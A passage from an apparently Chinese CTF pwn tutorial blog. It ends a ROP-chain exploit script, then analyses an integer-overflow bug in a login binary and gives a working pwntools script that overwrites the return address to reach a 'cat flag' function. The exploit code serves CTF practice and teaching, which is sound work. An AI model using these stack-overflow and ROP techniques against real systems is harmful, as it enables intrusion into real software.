	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474e65) # syscall ; ret
	return p 

padding = 'a'*0x400 
payload = padding + "junkjunk" + ropchanin()
p.sendafter("Any last words?\n",payload)
p.interactive()

程序八 :整型溢出

  • IDA静态分析
int __cdecl main()
{
  int v1; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    login();
  }
  else
  {
    if ( v1 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

int login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]

  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check(&buf);
}

char *__cdecl check(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp] v3的大小为8位1个字节

  v3 = strlen(s);		  //控制s为259 ==> 0x104 ==> v3=4 (v3只取s长度的最低位)
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);		//通过s覆盖dest ---> 覆盖返回值地址
  }
  return result;
}

查看保护机制

?  login checksec login     
[*] '/mnt/hgfs/ctf_debug/stack/login/login'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • 可构造rop链
  • 但是转而发现程序中提供了更简单的cat flag 函数
int sub_804868B()
{
  return system("cat flag");
}

.text:0804868B sub_804868B     proc near
.text:0804868B ; __unwind {
.text:0804868B                 push    ebp
.text:0804868C                 mov     ebp, esp
.text:0804868E                 sub     esp, 8
.text:08048691                 sub     esp, 0Ch
.text:08048694                 push    offset command  ; "cat flag"
.text:08048699                 call    _system
.text:0804869E                 add     esp, 10h
.text:080486A1                 nop
.text:080486A2                 leave
.text:080486A3                 retn
.text:080486A3 ; } // starts at 804868B

设置断点

.text:080486AD                 push    [ebp+s]         ; s
.text:080486B0                 call    _strlen
.text:080486B5                 add     esp, 10h
.text:080486B8                 mov     [ebp+var_9], al		==>设置断点
.text:080486BB                 cmp     [ebp+var_9], 3

攻击脚本

from pwn import * 
context.arch='i386'
context.log_level = "debug"
context.terminal =["tmux","splitw","-h"]
?
if len(sys.argv)<2:
    debug =True
else:
    debug=False
    
if debug:
    p=process("./login")
    elf =ELF("./login")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else :
    p=remote("Xxx.xxx.xxx.xx",xxx)
    elf =ELF("./login")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    
def login(username,passwd):
    p.sendlineafter("Your choice:","1")
    p.sendlineafter("Please input your username:\n",username)
    p.sendlineafter("Please input your passwd:\n",passwd)
def debugf():
    gdb.attach(p,"b * 0x80486B8")
    
debugf()
cat_flag = 0x804868B 
offset = 0x100+0x4
payload = 'a'*0x14 + 'junk' + p32(cat_flag)
payload = payload.ljust(offset,"a")
login("chandler",payload)
print p.recvall()

这篇文章有点长啊,能看到这儿,知了姐先给你点个赞!希望大家都能坚持学习,为梦想前进!

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表